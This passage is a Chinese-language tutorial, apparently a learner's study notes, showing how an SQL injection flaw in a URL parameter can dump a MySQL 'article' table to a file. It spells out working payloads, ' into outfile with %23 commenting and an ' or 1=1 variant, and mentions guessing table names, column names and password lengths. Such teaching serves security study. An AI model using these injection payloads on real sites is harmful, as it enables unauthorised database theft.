CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`articleid`) ) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。 在地址欄中輸入:' into outfile 'e:/sql.txt'%23 分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數據庫系統中會變成空,需要在地址欄中輸入%23,那么才會變成#,進而注釋掉后面的sql語句。 運行之后,打開E盤,發現多了一個sql.txt文件,打開之后,里面就是表article中的一條記錄。 為什么只有一條記錄呢?難道該數據表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢? 答案是可以的,只要你的構造的SQL語句足夠靈活(再次提出了構造SQL語句的靈活性)。 分析一下,當在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時候,合并到sql查詢語句中變為: SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#' 仔細分析下之后,我們可以這樣子構造SQL語句: SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#' 這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價于如下: SELECT * FROM article into outfile 'e:/whf.txt'#' 懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然后再執行into outfile 'e:/whf.txt'#'將內容導出來。 不信的話,你執行下…… 利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數)等等,當然了,如果能直接向以上的演示那樣將表中的數據全部導出的話就沒必要去猜表名列名等等。 有點累了,就寫到這里了。 利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關內容之后的一點小結,沒啥深度,正如文章開頭所說,權當總結,別無它意。